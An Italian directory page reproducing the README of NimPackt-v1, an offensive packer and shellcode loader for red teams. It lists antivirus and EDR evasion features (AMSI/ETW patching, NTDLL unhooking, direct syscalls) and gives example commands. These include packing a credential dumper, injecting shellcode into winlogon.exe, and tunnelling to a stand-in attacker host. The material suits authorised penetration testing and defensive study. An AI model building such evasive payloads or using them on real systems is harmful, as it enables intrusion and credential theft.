Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
NimPackt-v1 — Packer di assembly e loader di shellcode basato su Nim per opsec e profitto | Kitploit
Strumenti/GitHubGitHub/chvancooten/nimpackt-v1
Framework di ExploitGenerazione di PayloadShellcodePenetration TestingRed TeamingBinary Exploitation
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Packer di assembly e loader di shellcode basato su Nim per opsec e profitto

Vedi Repository
487763 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

NimPackt

Un packer basato su Nim per eseguibili .NET e shellcode raw

Di Cas van Cooten (@chvancooten)

Con un ringraziamento speciale a Marcello Salvati (@byt3bl33der) e Fabian Mosch (@S3cur3Th1sSh1t)

Descrizione

Aggiornamento: NimPackt-v1 è tra i peggiori codici che abbia mai scritto (stavo appena iniziando a imparare Nim). Per questo motivo, ho iniziato una riscrittura completa di NimPackt, chiamata 'NimPackt-NG' (attualmente ancora privata). Con questa riscrittura, ho deciso di rendere open source il vecchio branch ("NimPackt-v1"). Di conseguenza, questo branch non è più mantenuto e viene fornito senza alcuna garanzia o supporto. Le PR sono sempre ben accette, ovviamente :)

NimPackt è un packer basato su Nim per eseguibili .NET (C#) e shellcode per Windows. Avvolge automaticamente il payload in un binario Nim che viene compilato in C nativo e quindi più difficile da rilevare e decodificare. Ci sono due metodi principali di esecuzione:

  • Execute-Assembly ri-pacchettizza un eseguibile .NET e lo esegue, applicando opzionalmente misure elusive come l'unhooking delle API, il patching di AMSI o la disabilitazione di ETW.
  • Shinject prende un file .bin con shellcode raw e position-independent e lo esegue localmente o in un processo remoto, utilizzando opzionalmente syscall dirette per attivare lo shellcode o eseguendo il patching degli hook API per eludere l'EDR.

Attualmente, NimPackt offre le seguenti funzionalità:

  • Utilizza syscall statiche per eseguire il patching e eludere l'EDR
  • Sgancia le API in modalità utente per il thread creato, ricaricando NTDLL.dll tramite ShellyCoat
  • Effettua il patching di Event Tracing for Windows (ETW)
  • Effettua il patching di Anti-Malware Scan Interface (AMSI)
  • Cifra il payload con AES e chiave casuale per prevenire analisi statica o fingerprinting
  • Compila in exe o dll
  • Supporta la compilazione cross-platform (sia da Linux che da Windows)
  • Si integra con CobaltStrike per una generazione di payload facile facile 😎

Un'ottima fonte di binari C# per strumenti offensivi si trova qui. Si consiglia vivamente di compilare i binari C# da soli. Anche se i binari incorporati sono cifrati, dovresti offuscare binari sensibili (come Mimikatz) per ridurre il rischio di rilevamento.

Installazione

Se hai problemi a compilare il binario con le Syscall, prova a downgradare il tuo GCC alla versione 8.1.0 (soprattutto su Windows). TESTA SEMPRE i payload generati!

Su Linux, installa semplicemente i pacchetti richiesti e utilizza il gestore di pacchetti Nimble per installare i pacchetti e le librerie Python necessari.

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

Su Windows, esegui il programma di installazione di Nim da qui. Assicurati di installare mingw e impostare correttamente i valori del percorso utilizzando l'utility finish.exe fornita. Se non hai Python3, installalo, quindi installa i pacchetti richiesti come segue.

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

L'immagine Docker chvancooten/nimbuild può essere utilizzata per compilare i binari di NimPackt-v1. Usare Docker è semplice ed evita problemi di dipendenze, poiché tutte le dipendenze necessarie sono preinstallate in questo contenitore.

Per usarlo, installa Docker per il tuo sistema operativo e assicurati che lo shellcode di input sia nella cartella corrente. Quindi, avvia la compilazione in un contenitore come segue.

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

Plugin CobaltStrike

Per installare il plugin CobaltStrike, seleziona Cobalt Strike -> Script Manager dalla barra dei menu e scegli Load. Assicurati di caricare il file .cna dalla sua posizione originale, altrimenti non sarà in grado di trovare i file script di NimPackt!

NimPackt

Utilizzo

root@kitploit:~
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

Esempi:

root@kitploit:~
# Pacchettizza SharpKatz per accettare argomenti a runtime, eseguendo il patching degli hook di NTDLL, AMSI ed ETW, stampando messaggi verbose su una console visibile a runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pacchettizza Seatbelt come file DLL con argomenti incorporati (nota: scrivi su file di output perché stdout non è disponibile per le DLL)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pacchettizza SharpChisel con una stringa di connessione ChiselChief integrata, non eseguire unhook, patch di AMSI o disabilitazione di ETW, nascondi la finestra dell'applicazione a runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pacchettizza shellcode raw in file DLL che viene eseguito nel thread locale tramite syscall dirette, eseguendo anche l'unhooking di NTDLL
# Shellcode generato con 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pacchettizza shellcode raw per essere eseguito in un thread di Calculator appena generato in una finestra invisibile
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pacchettizza shellcode raw per essere eseguito nel processo Winlogon esistente (primo PID con nome 'winlogon.exe'), non utilizzare syscall dirette né unhook di NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

I binari vengono salvati nella sottocartella output della directory di installazione. I file dll generati possono essere eseguiti come segue (il punto di ingresso può essere cambiato nel template Nim):

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
Scarica lo strumento